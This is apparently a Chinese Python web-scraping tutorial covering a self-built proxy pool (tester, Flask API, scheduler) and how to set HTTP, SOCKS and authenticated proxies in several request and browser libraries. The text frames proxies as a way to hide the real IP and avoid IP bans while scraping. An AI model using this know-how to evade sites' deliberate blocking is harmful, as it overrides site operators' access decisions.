logger.debug(f'testing proxies from {start} to {end} indices')
proxies = self.redis.batch(start, end)
tasks = [self.test(proxy) for proxy in proxies]
# run tasks using event loop
self.loop.run_until_complete(asyncio.wait(tasks))


if __name__ == '__main__':
tester = Tester()
tester.run()

这里定义了一个类 Tester__init__ 方法中建立了一个 RedisClient 对象,供该对象中其他方法使用。接下来,定义了一个 test 方法,这个方法用来检测单个代理的可用情况,其参数就是被检测的代理。注意,test 方法前面加了 async 关键词,这代表这个方法是异步的。方法内部首先创建了 aiohttp 的 ClientSession 对象,可以直接调用该对象的 get 方法来访问页面。

测试链接在这里定义为常量 TEST_URL。如果针对某个网站有抓取需求,建议将 TEST_URL 设置为目标网站的地址,因为在抓取过程中,代理本身可能是可用的,但是该代理的 IP 已经被目标网站封掉了。例如,某些代理可以正常访问百度等页面,但是对知乎来说可能就被封了,所以我们可以将 TEST_URL 设置为知乎的某个页面的链接。当请求失败、代理被封时,分数自然会减下来,失效的代理就不会被取到了。

如果想做一个通用的代理池,则不需要专门设置 TEST_URL,既可以将其设置为一个不会封 IP 的网站,也可以设置为百度这类响应稳定的网站。

我们还定义了 TEST_VALID_STATUS 变量,这个变量是一个列表形式,包含了正常的状态码,如可以定义成 [200]。当然,某些目标网站可能会出现其他的状态码,可以自行配置。

程序在获取响应后需要判断响应的状态,如果状态码在 TEST_VALID_STATUS 列表里,则代表代理可用,可以调用 RedisClientmax 方法将代理分数设为 100,否则调用 decrease 方法将代理分数减 1,如果出现异常,也同样将代理分数减 1。

另外,我们设置了批量测试的最大值 TEST_BATCH,也就是一批测试最多 TEST_BATCH 个,这可以避免代理池过大时一次性测试全部代理导致内存开销过大的问题。当然,也可以用信号量来实现并发控制。

随后,在 run 方法里面获取了所有的代理列表,使用 aiohttp 分配任务,启动运行。这样在不断的运行过程中,代理池中无效代理的分数会一直被减 1,直至被清除,有效的代理则会一直保持 100 分,供随时取用。

这样测试模块的逻辑就完成了。

接口模块

通过上述 3 个模块,我们已经可以做到代理的获取、检测和更新,数据库就会以有序集合的形式存储各个代理及其对应的分数,分数 100 代表可用,分数越小代表越不可用。

但是我们怎样方便地获取可用代理呢?可以用 RedisClient 类直接连接 Redis,然后调用 random 方法。这样做没问题,效率很高,但是会有几个弊端。

  • 如果其他人使用这个代理池,他需要知道 Redis 连接的用户名和密码信息,这样很不安全。
  • 如果代理池需要部署在远程服务器上运行,而远程服务器的 Redis 只允许本地连接,那么我们就不能远程直连 Redis 来获取代理。
  • 如果爬虫所在的主机没有连接 Redis 模块,或者爬虫不是由 Python 语言编写的,那么我们就无法使用 RedisClient 来获取代理。
  • 如果 RedisClient 类或者数据库结构有更新,那么爬虫端必须同步这些更新,这样非常麻烦。

综上考虑,为了使代理池可以作为一个独立服务运行,我们最好增加一个接口模块,并以 Web API 的形式暴露可用代理。

这样一来,获取代理只需要请求接口即可,以上的几个缺点也可以避免。

我们使用一个比较轻量级的库 Flask 来实现这个接口模块,实现示例如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask, g
from proxypool.storages.redis import RedisClient
from proxypool.setting import API_HOST, API_PORT, API_THREADED

__all__ = ['app']

app = Flask(__name__)

def get_conn():
"""
get redis client object
:return:
"""
if not hasattr(g, 'redis'):
g.redis = RedisClient()
return g.redis

@app.route('/')
def index():
"""
get home page, you can define your own templates
:return:
"""
return '<h2>Welcome to Proxy Pool System</h2>'

@app.route('/random')
def get_proxy():
"""
get a random proxy
:return: get a random proxy
"""
conn = get_conn()
return conn.random().string()

@app.route('/count')
def get_count():
"""
get the count of proxies
:return: count, int
"""
conn = get_conn()
return str(conn.count())

if __name__ == '__main__':
app.run(host=API_HOST, port=API_PORT, threaded=API_THREADED)

这里我们声明了一个 Flask 对象,定义了 3 个接口,分别是首页、随机代理页和获取数量页。

运行之后,Flask 会启动一个 Web 服务,我们只需要访问对应的接口即可获取到可用代理。

调度模块

调度模块就是调用上面所定义的 3 个模块,将这 3 个模块通过多进程的形式运行起来,示例如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import time
import multiprocessing
from proxypool.processors.server import app
from proxypool.processors.getter import Getter
from proxypool.processors.tester import Tester
from proxypool.setting import CYCLE_GETTER, CYCLE_TESTER, API_HOST, API_THREADED, API_PORT, ENABLE_SERVER, \
ENABLE_GETTER, ENABLE_TESTER, IS_WINDOWS
from loguru import logger

if IS_WINDOWS:
multiprocessing.freeze_support()

tester_process, getter_process, server_process = None, None, None

class Scheduler():
"""
scheduler
"""

def run_tester(self, cycle=CYCLE_TESTER):
"""
run tester
"""
if not ENABLE_TESTER:
logger.info('tester not enabled, exit')
return
tester = Tester()
loop = 0
while True:
logger.debug(f'tester loop {loop} start...')
tester.run()
loop += 1
time.sleep(cycle)

def run_getter(self, cycle=CYCLE_GETTER):
"""
run getter
"""
if not ENABLE_GETTER:
logger.info('getter not enabled, exit')
return
getter = Getter()
loop = 0
while True:
logger.debug(f'getter loop {loop} start...')
getter.run()
loop += 1
time.sleep(cycle)

def run_server(self):
"""
run server for api
"""
if not ENABLE_SERVER:
logger.info('server not enabled, exit')
return
app.run(host=API_HOST, port=API_PORT, threaded=API_THREADED)

def run(self):
global tester_process, getter_process, server_process
try:
logger.info('starting proxypool...')
if ENABLE_TESTER:
tester_process = multiprocessing.Process(target=self.run_tester)
logger.info(f'starting tester, pid {tester_process.pid}...')
tester_process.start()

if ENABLE_GETTER:
getter_process = multiprocessing.Process(target=self.run_getter)
logger.info(f'starting getter, pid{getter_process.pid}...')
getter_process.start()

if ENABLE_SERVER:
server_process = multiprocessing.Process(target=self.run_server)
logger.info(f'starting server, pid{server_process.pid}...')
server_process.start()

tester_process.join()
getter_process.join()
server_process.join()
except KeyboardInterrupt:
logger.info('received keyboard interrupt signal')
tester_process.terminate()
getter_process.terminate()
server_process.terminate()
finally:
# must call join method before calling is_alive
tester_process.join()
getter_process.join()
server_process.join()
logger.info(f'tester is {"alive" if tester_process.is_alive() else "dead"}')
logger.info(f'getter is {"alive" if getter_process.is_alive() else "dead"}')
logger.info(f'server is {"alive" if server_process.is_alive() else "dead"}')
logger.info('proxy terminated')


if __name__ == '__main__':
scheduler = Scheduler()
scheduler.run()

3 个常量 ENABLE_TESTERENABLE_GETTERENABLE_SERVER 都是布尔类型,表示测试模块、获取模块和接口模块的开关,如果都为 True,则代表模块开启。

启动入口是 run 方法,这个方法分别判断 3 个模块的开关。如果开关开启,启动时程序就新建一个 Process 进程,设置好启动目标,然后调用 start 方法运行,这样 3 个进程就可以并行执行,互不干扰。

3 个调度方法的结构也非常清晰。比如,run_tester 方法用来调度测试模块。首先声明一个 Tester 对象,然后进入死循环不断循环调用其 run 方法,执行完一轮之后就休眠一段时间,休眠结束之后重新再执行。这里休眠时间也定义为一个常量,如 20 秒,即每隔 20 秒进行一次代理检测。

最后,只需要调用 Schedulerrun 方法即可启动整个代理池。

以上内容便是整个代理池的架构和相应实现逻辑。

5.运行

接下来,我们将代码整合一下,将代理运行起来,运行之后的输出结果如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
2020-04-13 02:52:06.510 | INFO     | proxypool.storages.redis:decrease:73 - 60.186.146.193:9000 current score 10.0, decrease 1
2020-04-13 02:52:06.517 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.186.146.193:9000 is invalid, decrease score
2020-04-13 02:52:06.524 | INFO | proxypool.storages.redis:decrease:73 - 60.186.151.147:9000 current score 10.0, decrease 1
2020-04-13 02:52:06.532 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.186.151.147:9000 is invalid, decrease score
2020-04-13 02:52:07.159 | INFO | proxypool.storages.redis:max:96 - 60.191.11.246:3128 is valid, set to 100
2020-04-13 02:52:07.167 | DEBUG | proxypool.processors.tester:test:46 - proxy 60.191.11.246:3128 is valid, set max score
2020-04-13 02:52:17.271 | INFO | proxypool.storages.redis:decrease:73 - 59.62.7.130:9000 current score 10.0, decrease 1
2020-04-13 02:52:17.280 | DEBUG | proxypool.processors.tester:test:52 - proxy 59.62.7.130:9000 is invalid, decrease score
2020-04-13 02:52:17.288 | INFO | proxypool.storages.redis:decrease:73 - 60.167.103.74:1133 current score 10.0, decrease 1
2020-04-13 02:52:17.295 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.167.103.74:1133 is invalid, decrease score
2020-04-13 02:52:17.302 | INFO | proxypool.storages.redis:decrease:73 - 60.162.71.113:9000 current score 10.0, decrease 1
2020-04-13 02:52:17.309 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.162.71.113:9000 is invalid, decrease score

以上是代理池的控制台输出,可以看到这里将可用代理设置为 100,不可用代理分数减 1。

接下来,我们再打开浏览器,当前配置运行在 5555 端口,所以打开 http://127.0.0.1:5555 即可看到其首页,如图所示。

image-20210711001154883
图 9-2 首页

再访问 http://127.0.0.1:5555/random,即可获取随机可用代理,如图 9-3 所示。


图 9-3 获取随机可用代理

只需要访问此接口,即可获取一个随机可用代理,这非常方便。

获取代理的代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
import requests

PROXY_POOL_URL = 'http://localhost:5555/random'

def get_proxy():
try:
response = requests.get(PROXY_POOL_URL)
if response.status_code == 200:
return response.text
except ConnectionError:
return None

这样便可以获取到一个随机代理了。它是字符串类型,此代理可以按照上一节所示的方法设置,如 requests 的使用方法如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

proxy = get_proxy()
proxies = {
'http': 'http://' + proxy,
'https': 'https://' + proxy,
}
try:
response = requests.get('http://httpbin.org/get', proxies=proxies)
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

有了代理池之后,再取出代理即可有效防止 IP 被封禁的情况。

6.总结

本节我们学习了一个代理池的设计思路和实现方案,有了这个代理池,我们就可以实时获取一些可用的代理了。相对之前的实战案例来说,整个代理池的代码量和逻辑复杂了比较多,建议可以好好理解和消化一下。

本节的代码地址为 https://github.com/Python3WebSpider/ProxyPool,代码库中还提供了基于 Docker 和 Kubernetes 的运行和部署操作,可以帮助我们更加快捷地运行代理池,同时本书后文也会介绍代理池的部署方法。

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

前面我们介绍了多种请求库,如 urllib、requests、Selenium、Playwright 等用法,但是没有统一梳理代理的设置方法,本节我们来针对这些库来梳理下代理的设置方法。

1. 准备工作

在本节开始之前,请先根据上一节了解一下代理的基本原理,了解了基本原理之后我们可以更好地理解和学习本节的内容。

另外我们需要先获取一个可用代理,代理就是 IP 地址和端口的组合,就是 <ip>:<port> 这样的格式。如果代理需要访问认证,那就还需要额外的用户名密码两个信息。

那怎么获取一个可用代理呢?

使用搜索引擎搜索 “代理” 关键字,可以看到许多代理服务网站,网站上会有很多免费或付费代理,比如快代理的免费 HTTP 代理:https://www.kuaidaili.com/free/ 上面就写了很多免费代理,但是这些免费代理大多数情况下并不一定稳定,所以比较靠谱的方法是购买付费代理。付费代理的各大代理商家都有套餐,数量不用多,稳定可用即可,我们可以自行选购。

另外除了购买付费 HTTP 代理,我们也可以在本机配置一些代理软件,具体的配置方法可以参考 https://setup.scrape.center/proxy-client,软件运行之后会在本机创建 HTTP 或 SOCKS 代理服务,所以代理地址一般都是 127.0.0.1:<port> 这样的格式,不同的软件用的端口可能不同。

这里我的本机安装了一部代理软件,它会在本地 7890 端口上创建 HTTP 代理服务,即代理为 127.0.0.1:7890。另外,该软件还会在 7891 端口上创建 SOCKS 代理服务,即代理为 127.0.0.1:7891,所以只要设置了这个代理,就可以成功将本机 IP 切换到代理软件连接的服务器的 IP 了。

在本章下面的示例里,我使用上述代理来演示其设置方法,你也可以自行替换成自己的可用代理。

设置代理后,测试的网址是 http://httpbin.org/get,访问该链接我们可以得到请求的相关信息,其中返回结果的 origin 字段就是客户端的 IP,我们可以根据它来判断代理是否设置成功,即是否成功伪装了 IP。

好,接下来我们就来看下各个请求库的代理设置方法吧。

2. urllib

首先我们以最基础的 urllib 为例,来看一下代理的设置方法,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from urllib.error import URLError
from urllib.request import ProxyHandler, build_opener

proxy = '127.0.0.1:7890'
proxy_handler = ProxyHandler({
'http': 'http://' + proxy,
'https': 'http://' + proxy
})
opener = build_opener(proxy_handler)
try:
response = opener.open('https://httpbin.org/get')
print(response.read().decode('utf-8'))
except URLError as e:
print(e.reason)

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
{
"args": {},
"headers": {
"Accept-Encoding": "identity",
"Host": "httpbin.org",
"User-Agent": "Python-urllib/3.7",
"X-Amzn-Trace-Id": "Root=1-60e9a1b6-0a20b8a678844a0b2ab4e889"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

这里我们需要借助 ProxyHandler 设置代理,参数是字典类型,键名为协议类型,键值是代理。注意,此处代理前面需要加上协议,即 http:// 或者 https://,当请求的链接是 HTTP 协议的时候,会使用 http 键名对应的代理,当请求的链接是 HTTPS 协议的时候,会使用 https 键名对应的代理。不过这里我们把代理本身设置为了 HTTP 协议,即前缀统一设置为了 http://,所以不论访问 HTTP 还是 HTTPS 协议的链接,都会使用我们配置的 HTTP 协议的代理进行请求。

创建完 ProxyHandler 对象之后,我们需要利用 build_opener 方法传入该对象来创建一个 Opener,这样就相当于此 Opener 已经设置好代理了。接下来直接调用 Opener 对象的 open 方法,即可访问我们所想要的链接。

运行输出结果是一个 JSON,它有一个字段 origin,标明了客户端的 IP。验证一下,此处的 IP 确实为代理的 IP,并不是真实的 IP。这样我们就成功设置好代理,并可以隐藏真实 IP 了。

如果遇到需要认证的代理,我们可以用如下的方法设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from urllib.error import URLError
from urllib.request import ProxyHandler, build_opener

proxy = 'username:password@127.0.0.1:7890'
proxy_handler = ProxyHandler({
'http': 'http://' + proxy,
'https': 'http://' + proxy
})
opener = build_opener(proxy_handler)
try:
response = opener.open('https://httpbin.org/get')
print(response.read().decode('utf-8'))
except URLError as e:
print(e.reason)

这里改变的只是 proxy 变量,只需要在代理前面加入代理认证的用户名密码即可,其中 username 就是用户名,password 为密码,例如 username 为 foo,密码为 bar,那么代理就是 foo:bar@127.0.0.1:7890

如果代理是 SOCKS5 类型,那么可以用如下方式设置代理:

1
2
3
4
5
6
7
8
9
10
11
12
import socks
import socket
from urllib import request
from urllib.error import URLError

socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 7891)
socket.socket = socks.socksocket
try:
response = request.urlopen('https://httpbin.org/get')
print(response.read().decode('utf-8'))
except URLError as e:
print(e.reason)

此处需要一个 socks 模块,可以通过如下命令安装:

1
pip3 install PySocks

这里需要本地运行一个 SOCKS5 代理,运行在 7891 端口,运行成功之后和上文 HTTP 代理输出结果是一样的:

1
2
3
4
5
6
7
8
9
10
11
{
"args": {},
"headers": {
"Accept-Encoding": "identity",
"Host": "httpbin.org",
"User-Agent": "Python-urllib/3.7",
"X-Amzn-Trace-Id": "Root=1-60e9a1b6-0a20b8a678844a0b2ab4e889"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

结果的 origin 字段同样为代理的 IP,代理设置成功。

3.requests 的代理设置

对于 requests 来说,代理设置非常简单,我们只需要传入 proxies 参数即可。

这里以我本机的代理为例,来看下 requests 的 HTTP 代理设置,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

proxy = '127.0.0.1:7890'
proxies = {
'http': 'http://' + proxy,
'https': 'http://' + proxy,
}
try:
response = requests.get('https://httpbin.org/get', proxies=proxies)
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
{
"args": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "python-requests/2.22.0",
"X-Amzn-Trace-Id": "Root=1-5e8f358d-87913f68a192fb9f87aa0323"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

和 urllib 一样,当请求的链接是 HTTP 协议的时候,会使用 http 键名对应的代理,当请求的链接是 HTTPS 协议的时候,会使用 https 键名对应的代理,不过这里统一使用了 HTTP 协议的代理。

运行结果中的 origin 若是代理服务器的 IP,则证明代理已经设置成功。

如果代理需要认证,那么在代理的前面加上用户名和密码即可,代理的写法就变成如下所示:

1
proxy = 'username:password@127.0.0.1:7890'

这里只需要将 usernamepassword 替换即可。

如果需要使用 SOCKS 代理,则可以使用如下方式来设置:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

proxy = '127.0.0.1:7891'
proxies = {
'http': 'socks5://' + proxy,
'https': 'socks5://' + proxy
}
try:
response = requests.get('https://httpbin.org/get', proxies=proxies)
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

这里我们需要额外安装一个包 requests[socks],相关命令如下所示:

1
pip3 install "requests[socks]"

运行结果是完全相同的:

1
2
3
4
5
6
7
8
9
10
11
12
{
"args": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "python-requests/2.22.0",
"X-Amzn-Trace-Id": "Root=1-5e8f364a-589d3cf2500fafd47b5560f2"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

另外,还有一种设置方式,即使用 socks 模块,也需要像上文一样安装 socks 库。这种设置方法如下所示:

1
2
3
4
5
6
7
8
9
10
11
import requests
import socks
import socket

socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 7891)
socket.socket = socks.socksocket
try:
response = requests.get('https://httpbin.org/get')
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

使用这种方法也可以设置 SOCKS 代理,运行结果完全相同。相比第一种方法,此方法是全局设置的。我们可以在不同情况下选用不同的方法。

4. httpx 的代理设置

httpx 的用法本身就与 requests 的使用非常相似,所以其也是通过 proxies 参数来设置代理的,不过与 requests 不同的是,proxies 参数的键名不能再是 httphttps,而需要更改为 http://https://,其他的设置是一样的。

对于 HTTP 代理来说,设置方法如下:

1
2
3
4
5
6
7
8
9
10
11
import httpx

proxy = '127.0.0.1:7890'
proxies = {
'http://': 'http://' + proxy,
'https://': 'http://' + proxy,
}

with httpx.Client(proxies=proxies) as client:
response = client.get('https://httpbin.org/get')
print(response.text)

对于需要认证的代理,也是改下 proxy 的值即可:

1
proxy = 'username:password@127.0.0.1:7890'

这里只需要将 usernamepassword 替换即可。

运行结果和使用 requests 是类似的,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
{
"args": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "python-httpx/0.18.1",
"X-Amzn-Trace-Id": "Root=1-60e9a3ef-5527ff6320484f8e46d39834"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

对于 SOCKS 代理,我们需要安装 httpx-socks 库,安装方法如下:

1
pip3 install "httpx-socks[asyncio]"

这样会同时安装同步和异步两种模式的支持。

对于同步模式,设置方法如下:

1
2
3
4
5
6
7
8
9
import httpx
from httpx_socks import SyncProxyTransport

transport = SyncProxyTransport.from_url(
'socks5://127.0.0.1:7891')

with httpx.Client(transport=transport) as client:
response = client.get('https://httpbin.org/get')
print(response.text)

这里我们需要设置一个 transport 对象,并配置 SOCKS 代理的地址,同时在声明 httpx 的 Client 对象的时候传入 transport 参数即可,运行结果和刚才是一样的。

对于异步模式,设置方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import httpx
import asyncio
from httpx_socks import AsyncProxyTransport

transport = AsyncProxyTransport.from_url(
'socks5://127.0.0.1:7891')

async def main():
async with httpx.AsyncClient(transport=transport) as client:
response = await client.get('https://httpbin.org/get')
print(response.text)

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

和同步模式不同的是,transport 对象我们用的是 AsyncProxyTransport 而不是 SyncProxyTransport,同时需要将 Client 对象更改为 AsyncClient 对象,其他的不变,运行结果是一样的。

5. Selenium 的代理设置

Selenium 同样可以设置代理,这里以 Chrome 为例来介绍其设置方法。

对于无认证的代理,设置方法如下:

1
2
3
4
5
6
7
8
9
from selenium import webdriver

proxy = '127.0.0.1:7890'
options = webdriver.ChromeOptions()
options.add_argument('--proxy-server=http://' + proxy)
browser = webdriver.Chrome(options=options)
browser.get('https://httpbin.org/get')
print(browser.page_source)
browser.close()

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"args": {},
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Host": "httpbin.org",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"X-Amzn-Trace-Id": "Root=1-5e8f39cd-60930018205fd154a9af39cc"
},
"origin": "210.173.1.204",
"url": "http://httpbin.org/get"
}

代理设置成功,origin 同样为代理 IP 的地址。

如果代理是认证代理,则设置方法相对比较繁琐,具体如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import zipfile

ip = '127.0.0.1'
port = 7890
username = 'foo'
password = 'bar'

manifest_json = """{"version":"1.0.0","manifest_version": 2,"name":"Chrome Proxy","permissions": ["proxy","tabs","unlimitedStorage","storage","<all_urls>","webRequest","webRequestBlocking"],"background": {"scripts": ["background.js"]
}
}
"""
background_js = """
var config = {
mode: "fixed_servers",
rules: {
singleProxy: {
scheme: "http",
host: "%(ip) s",
port: %(port) s
}
}
}

chrome.proxy.settings.set({value: config, scope: "regular"}, function() {});

function callbackFn(details) {
return {
authCredentials: {username: "%(username) s",
password: "%(password) s"
}
}
}

chrome.webRequest.onAuthRequired.addListener(
callbackFn,
{urls: ["<all_urls>"]},
['blocking']
)
""" % {'ip': ip, 'port': port, 'username': username, 'password': password}

plugin_file = 'proxy_auth_plugin.zip'
with zipfile.ZipFile(plugin_file, 'w') as zp:
zp.writestr("manifest.json", manifest_json)
zp.writestr("background.js", background_js)
options = Options()
options.add_argument("--start-maximized")
options.add_extension(plugin_file)
browser = webdriver.Chrome(options=options)
browser.get('https://httpbin.org/get')
print(browser.page_source)
browser.close()

这里需要在本地创建一个 manifest.json 配置文件和 background.js 脚本来设置认证代理。运行代码之后,本地会生成一个 proxy_auth_plugin.zip 文件来保存当前配置。

运行结果和上例一致,origin 同样为代理 IP。

SOCKS 代理的设置也比较简单,把对应的协议修改为 socks5 即可,如无密码认证的代理设置方法为:

1
2
3
4
5
6
7
8
9
from selenium import webdriver

proxy = '127.0.0.1:7891'
options = webdriver.ChromeOptions()
options.add_argument('--proxy-server=socks5://' + proxy)
browser = webdriver.Chrome(options=options)
browser.get('https://httpbin.org/get')
print(browser.page_source)
browser.close()

运行结果是一样的。

6.aiohttp 的代理设置

对于 aiohttp 来说,我们可以通过 proxy 参数直接设置。HTTP 代理设置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import asyncio
import aiohttp

proxy = 'http://127.0.0.1:7890'

async def main():
async with aiohttp.ClientSession() as session:
async with session.get('https://httpbin.org/get', proxy=proxy) as response:
print(await response.text())


if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

如果代理有用户名和密码,像 requests 一样,把 proxy 修改为如下内容:

1
proxy = 'http://username:password@127.0.0.1:7890'

这里只需要将 usernamepassword 替换即可。

对于 SOCKS 代理,我们需要安装一个支持库 aiohttp-socks,其安装命令如下:

1
pip3 install aiohttp-socks

我们可以借助于这个库的 ProxyConnector 来设置 SOCKS 代理,其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import asyncio
import aiohttp
from aiohttp_socks import ProxyConnector

connector = ProxyConnector.from_url('socks5://127.0.0.1:7891')

async def main():
async with aiohttp.ClientSession(connector=connector) as session:
async with session.get('https://httpbin.org/get') as response:
print(await response.text())


if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

运行结果是一样的。

另外,这个库还支持设置 SOCKS4、HTTP 代理以及对应的代理认证,可以参考其官方介绍。

7. Pyppeteer 的代理设置

对于 Pyppeteer 来说,由于其默认使用的是类似 Chrome 的 Chromium 浏览器,因此其设置方法和 Selenium 的 Chrome 一样,如 HTTP 无认证代理设置方法都是通过 args 来设置的,实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import asyncio
from pyppeteer import launch

proxy = '127.0.0.1:7890'

async def main():
browser = await launch({'args': ['--proxy-server=http://' + proxy], 'headless': False})
page = await browser.newPage()
await page.goto('https://httpbin.org/get')
print(await page.content())
await browser.close()


if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"args": {},
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Host": "httpbin.org",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36",
"X-Amzn-Trace-Id": "Root=1-5e8f442c-12b1ed7865b049007267a66c"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

同样可以看到设置成功。

SOCKS 代理也一样,只需要将协议修改为 socks5 即可,代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import asyncio
from pyppeteer import launch

proxy = '127.0.0.1:7891'

async def main():
browser = await launch({'args': ['--proxy-server=socks5://' + proxy], 'headless': False})
page = await browser.newPage()
await page.goto('https://httpbin.org/get')
print(await page.content())
await browser.close()

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

运行结果也是一样的。

8. Playwright 的代理设置

相对 Selenium 和 Pyppeteer 来说,Playwright 的代理设置更加方便,其预留了一个 proxy 参数,可以在启动 Playwright 的时候设置。

对于 HTTP 代理来说,可以这样设置:

1
2
3
4
5
6
7
8
9
10
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(proxy={
'server': 'http://127.0.0.1:7890'
})
page = browser.new_page()
page.goto('https://httpbin.org/get')
print(page.content())
browser.close()

在调用 launch 方法的时候,我们可以传一个 proxy 参数,是一个字典。字典有一个必填的字段叫做 server,这里我们可以直接填写 HTTP 代理的地址即可。

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"args": {},
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Host": "httpbin.org",
"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"92\"",
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4498.0 Safari/537.36",
"X-Amzn-Trace-Id": "Root=1-60e99eef-4fa746a01a38abd469ecb467"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

对于 SOCKS 代理,设置方法也是完全一样的,我们只需要把 server 字段的值换成 SOCKS 代理的地址即可:

1
2
3
4
5
6
7
8
9
10
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(proxy={
'server': 'socks5://127.0.0.1:7891'
})
page = browser.new_page()
page.goto('https://httpbin.org/get')
print(page.content())
browser.close()

运行结果和刚才也是完全一样的。

对于有用户名和密码的代理,Playwright 的设置也非常简单,我们只需要在 proxy 参数额外设置 username 和 password 字段即可,假如用户名和密码分别是 foo 和 bar,则设置方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(proxy={
'server': 'http://127.0.0.1:7890',
'username': 'foo',
'password': 'bar'
})
page = browser.new_page()
page.goto('https://httpbin.org/get')
print(page.content())
browser.close()

这样我们就能非常方便地为 Playwright 实现认证代理的设置。

9.总结

以上我们就总结了各个请求库的代理使用方式,各种库的设置方法大同小异,学会了这些方法之后,以后如果遇到封 IP 的问题,我们可以轻松通过加代理的方式来解决。

本节代码:https://github.com/Python3WebSpider/ProxyTest

Python

